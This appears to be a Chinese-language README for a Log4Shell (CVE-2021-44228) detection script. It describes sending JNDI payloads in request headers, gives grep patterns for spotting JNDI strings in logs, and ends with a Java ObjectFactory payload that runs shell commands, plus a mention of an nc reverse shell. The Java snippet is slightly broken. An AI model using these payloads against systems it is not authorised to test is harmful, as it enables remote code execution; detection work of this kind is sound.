该脚本基于 takito1812/log4j-detect
脚本 "log4j-detect.py" 使用 Python 3 开发,用于检测指定 URL 列表是否易受 CVE-2021-44228 漏洞影响。
为此,它使用线程(更高性能)向指定列表中的每个 URL 发送 GET 请求。该 GET 请求包含一个有效载荷,成功时会将 DNS 请求发送到 Burp Collaborator / interactsh。该有效载荷通过一个测试参数以及 "User-Agent" / "Referer" / "X-Forwarded-For" / "Authentication" 请求头发送。 最后,如果某个主机存在漏洞,Burp Collaborator / interactsh 有效载荷的子域前缀以及脚本输出中将会出现一个标识编号,从而可以知道哪个主机通过 DNS 进行了响应。
需要注意的是,该脚本仅处理漏洞的 DNS 检测,不测试远程命令执行。
python3 log4j-detect.py -s <burpCollaborator/interactsh...> [-u [urls]] [-f [urlFileList]] [-t THREADS] [-p PROXY] [--urllib3-warnings|--no-urllib3-warnings]

sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi)://[^\n]+' /var/log
sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$\{jndi:(ldap[
s]?|rmi)://[^\n]+'
用于检查是否有人尝试通过 ldap 服务器进行连接
以下是一段示例代码,你可以启动它来测试你的服务器是否可以被攻破(如果是 Windows shell,你可以直接使用 PowerShell 语法)
public class ExportObject implements javax.naming.spi.ObjectFactory {
public ExportObject() {
try {
java.lang.getRuntime().exec("touch ~/pwned");
java.lang.getRuntime().exec("ls ~");
} catch (Exception e) {
e.printStackTrace();
}
}
}
类似这样的代码可以让你使用 nc 命令建立反向 shell